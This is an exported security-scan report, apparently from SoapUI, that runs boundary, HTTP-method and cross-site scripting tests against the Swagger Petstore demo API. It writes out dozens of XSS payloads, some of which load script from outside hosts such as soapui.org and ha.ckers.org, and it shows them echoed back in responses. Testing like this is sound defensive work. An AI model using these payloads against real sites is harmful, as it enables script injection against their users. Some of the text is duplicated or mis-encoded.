

## Issues report for Security Test 1

in Project 1/Security Test Suite 1/Swagger Petstore TestCase

### Summary

Started at 2020-02-05 13:36:58

Time taken 00:39:26.751

**Total scans performed: 1630**

**Issues found: 105**

Scan	Issues Found In Test Steps		Total Issues Found
JSON Boundary Scan	POST	3	3
HTTP Method Fuzzing	POST	1	1
Cross Site Scripting	POST	101	101

### Detailed Info

Issues are grouped by Security scan.

#### JSON Boundary Scan

A JSON Boundary Security Scan replaces values in a posted JSON body with extreme values, e.g. very high or negative integer values, trying to cause your API to behave incorrectly or reveal sensitive data.

Alerts usually indicate that you have to improve input validation and error handling.

Scan	JSON Boundary Scan
Severity	ERROR
Endpoint	https://petstore.swagger.io/v2/pet
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1
Test Step	POST
Response	No content
Alerts	Sensitive Information Exposure: null/empty response body
Action Points	Since extreme values inserted into the JSON body provoked an unexpected response, you may want to improve error handling in the code processing this input.
Issue Number	#1

<b>Scan</b>	JSON Boundary Scan
<b>Severity</b>	<b>ERROR</b>
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1
<b>Test Step</b>	POST
<b>Response</b>	<i>No content</i>
<b>Alerts</b>	Sensitive Information Exposure: null/empty response body
<b>Action Points</b>	Since extreme values inserted into the JSON body provoked an unexpected response, you may want to improve error handling in the code processing this input.
<b>Issue Number</b>	#2

<b>Scan</b>	JSON Boundary Scan
<b>Severity</b>	<b>ERROR</b>
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1
<b>Test Step</b>	POST
<b>Response</b>	<i>No content</i>
<b>Alerts</b>	Sensitive Information Exposure: null/empty response body
<b>Action Points</b>	Since extreme values inserted into the JSON body provoked an unexpected response, you may want to improve error handling in the code processing this input.
<b>Issue Number</b>	#3

## HTTP Method Fuzzing

An HTTP Method Fuzzing Scan attempts to use other HTTP verbs (methods) than those defined in an API. For instance, if you have defined GET and POST, it will send requests using the DELETE and PUT verbs, expecting an appropriate HTTP error response and reporting alerts if it doesn't receive it.

Sometimes, unexpected HTTP verbs can overwrite data on a server or get data that shouldn't be revealed to clients.

<b>Scan</b>	HTTP Method Fuzzing				
<b>Severity</b>	<b>WARNING</b>				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	OPTIONS https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>method</td><td>OPTIONS</td></tr> </table>	Name	Value	method	OPTIONS
Name	Value				
method	OPTIONS				
<b>Response</b>	<i>No content</i>				
<b>Alerts</b>	Valid HTTP Status Codes: Response status code: 204 is not in acceptable list of status codes				
<b>Action Points</b>	You should check if the HTTP method <code>OPTIONS</code> should really be allowed for this resource.				
<b>Issue Number</b>	#4				

## Cross Site Scripting

A Cross-Site Scripting (XSS) Scan attacks clients of the system under test by inserting dynamic code like JavaScript into the input, hoping that the same code is echoed in the response.

However, this is only a problem if the response is consumed directly by a browser or if HTML is built in a naive way from the response. In other words, Cross-Site Scripting Scans may sometimes give you false positives.

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.category.name</td><td>{"id":0,"category":{"id":0,"name":"&lt;PLAINTEXT&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr></table>	Name	Value	Request \$.category.name	{"id":0,"category":{"id":0,"name":"<PLAINTEXT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.category.name	{"id":0,"category":{"id":0,"name":"<PLAINTEXT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Response	<b>Content-type:</b> application/json <b>Content length:</b> 161 <b>Full response:</b> { "id":9216678377732943616,"category":{"id":0,"name":"<PLAINTEXT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.category.name</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#5				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.category.name</td><td>{"id":0,"category":{"id":0,"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js&gt;&lt;/SCRIPT&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr></table>	Name	Value	Request \$.category.name	{"id":0,"category":{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.category.name	{"id":0,"category":{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Response	<b>Content-type:</b> application/json <b>Content length:</b> 196 <b>Full response:</b> { "id":9216678377732943619,"category":{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.category.name</code> will not be echoed back in the response				

CWE-ID CWE-79

Issue Number

#6

Scan Cross Site Scripting

Severity **ERROR**

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request \$.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=javascript:alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

**Content-type:** application/json

**Content length:** 183

**Full response:**

```
{"id":9216678377732943621,"category":{"id":0,"name":"<IMG SRC=javascript:alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST

Action Points

You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number

#7

Scan Cross Site Scripting

Severity **ERROR**

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request \$.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

**Content-type:** application/json

**Content length:** 183

**Full response:**

```
{"id":9216678377732943622,"category":{"id":0,"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST

Action Points

You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number

#8

Scan Cross Site Scripting

Severity **ERROR**

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request \$.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}

Response

**Content-type:** application/json

**Content length:** 193

**Full response:**

```
{"id":9216678377732943623,"category":{"id":0,"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}
```

Alerts

Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST

Action Points

You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number

#9

Scan Cross Site Scripting

Severity **ERROR**

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request \$.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}

Response

**Content-type:** application/json

**Content length:** 207

**Full response:**

```
{"id":9216678377732943626,"category":{"id":0,"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}
```

Alerts

Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST

Action Points

You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number

#10

Scan Cross Site Scripting

<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{ "id":0,"category":{"id":0,"name":"&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;" }, "name":"doggie", "photoUrls":["string"], "tags":{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>" }, "name":"doggie", "photoUrls":["string"], "tags":{"id":0,"name":"string"},"status":"available"}
Name	Value				
Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>" }, "name":"doggie", "photoUrls":["string"], "tags":{"id":0,"name":"string"},"status":"available"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 286 <b>Full response:</b> <pre>{ "id":9216678377732943627, "category":{ "id":0, "name":"&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;" }, "name":"doggie", "photoUrls":["string"], "tags":[{"id":0,"name":"string"}], "status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.category.name will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#11				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{ "id":0,"category":{"id":0,"name":"&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;" }, "name":"doggie", "photoUrls":["string"], "tags":{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>" }, "name":"doggie", "photoUrls":["string"], "tags":{"id":0,"name":"string"},"status":"available"}
Name	Value				
Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>" }, "name":"doggie", "photoUrls":["string"], "tags":{"id":0,"name":"string"},"status":"available"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 367 <b>Full response:</b> <pre>{ "id":9216678377732943628, "category":{ "id":0, "name":"&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;" }, "name":"doggie", "photoUrls":["string"], "tags":[{"id":0,"name":"string"}], "status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.category.name will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#12				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	<b>ERROR</b>				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{ "id":0,"category":{"id":0,"name":"&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 275 <b>Full response:</b> <pre>{ "id" : 9216678377732943629, "category" : { "id" : 0, "name" : "&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.category.name will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#13				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	<b>ERROR</b>				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{ "id":0,"category":{"id":0,"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 190 <b>Full response:</b> <pre>{ "id" : 9216678377732943641, "category" : { "id" : 0, "name" : "&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.category.name will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#14				

<b>Scan</b>	Cross Site Scripting
<b>Severity</b>	<b>ERROR</b>
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet

<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
<b>Test Step</b>	POST	
<b>Modified Parameters</b>	<b>Name</b>	<b>Value</b>
	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<SCRIPT SRC=//ha.ckers.org/.j>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 180 <b>Full response:</b> <pre>{ "id":9216678377732943643,"category":{"id":0,"name":"&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>	
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=//ha.ckers...' is exposed in response. Possibility for XSS script attack in: POST	
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.category.name will not be echoed back in the response	
<b>CWE-ID</b>	CWE-79	
<b>Issue Number</b>	#15	

<b>Scan</b>	Cross Site Scripting	
<b>Severity</b>	ERROR	
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet	
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
<b>Test Step</b>	POST	
<b>Modified Parameters</b>	<b>Name</b>	<b>Value</b>
	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<iframe src=http://soapui.org/scriptlet.html <"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 196 <b>Full response:</b> <pre>{ "id":9216678377732943645,"category":{"id":0,"name":"&lt;iframe src=http://soapui.org/scriptlet.html &lt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>	
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<iframe src=http://soa...' is exposed in response. Possibility for XSS script attack in: POST	
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.category.name will not be echoed back in the response	
<b>CWE-ID</b>	CWE-79	
<b>Issue Number</b>	#16	

<b>Scan</b>	Cross Site Scripting	
<b>Severity</b>	ERROR	
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet	
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
<b>Test Step</b>	POST	
<b>Modified Parameters</b>	<b>Name</b>	<b>Value</b>
	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}



<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 189 <b>Full response:</b> <pre>{ "id": 9216678377732943646, "category": { "id": 0, "name": "&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;SCRIPT&gt;a=/XSS/alert(a...'</code> is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.category.name</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#17

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td><pre>{ "id": 0, "category": { "id": 0, "name": "\\\";alert('XSS');//", "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre></td></tr> </table>	Name	Value	Request \$.category.name	<pre>{ "id": 0, "category": { "id": 0, "name": "\\\";alert('XSS');//", "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>
Name	Value				
Request \$.category.name	<pre>{ "id": 0, "category": { "id": 0, "name": "\\\";alert('XSS');//", "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 170 <b>Full response:</b> <pre>{ "id": 9216678377732943647, "category": { "id": 0, "name": "\\\";alert('XSS');//", "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request <code>"\";alert('XSS');//"</code> is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.category.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#18				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td><pre>{ "id": 0, "category": { "id": 0, "name": "&lt;BODY ONLOAD=alert('XSS')&gt;", "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre></td></tr> </table>	Name	Value	Request \$.category.name	<pre>{ "id": 0, "category": { "id": 0, "name": "&lt;BODY ONLOAD=alert('XSS')&gt;", "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>
Name	Value				
Request \$.category.name	<pre>{ "id": 0, "category": { "id": 0, "name": "&lt;BODY ONLOAD=alert('XSS')&gt;", "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 176 <b>Full response:</b> <pre>{ "id": 9216678377732943651, "category": { "id": 0, "name": "&lt;BODY ONLOAD=alert('XSS')&gt;", "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				

<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;BODY ONLOAD=alert('XS...'</code> ' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.category.name</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#19

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{ "id":0,"category":{"id":0,"name":"&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}
Name	Value				
Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 200</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943659,"category":{"id":0,"name":"&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;STYLE&gt;@import'http://...'</code> ' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.category.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#20				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{ "id":0,"category":{"id":0,"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}
Name	Value				
Request \$.category.name	{ "id":0,"category":{"id":0,"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 191</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943667,"category":{"id":0,"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>ï¿½scriptï¿½alert(ï¿½X...'</code> ' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.category.name</code> will not be echoed back in the response				
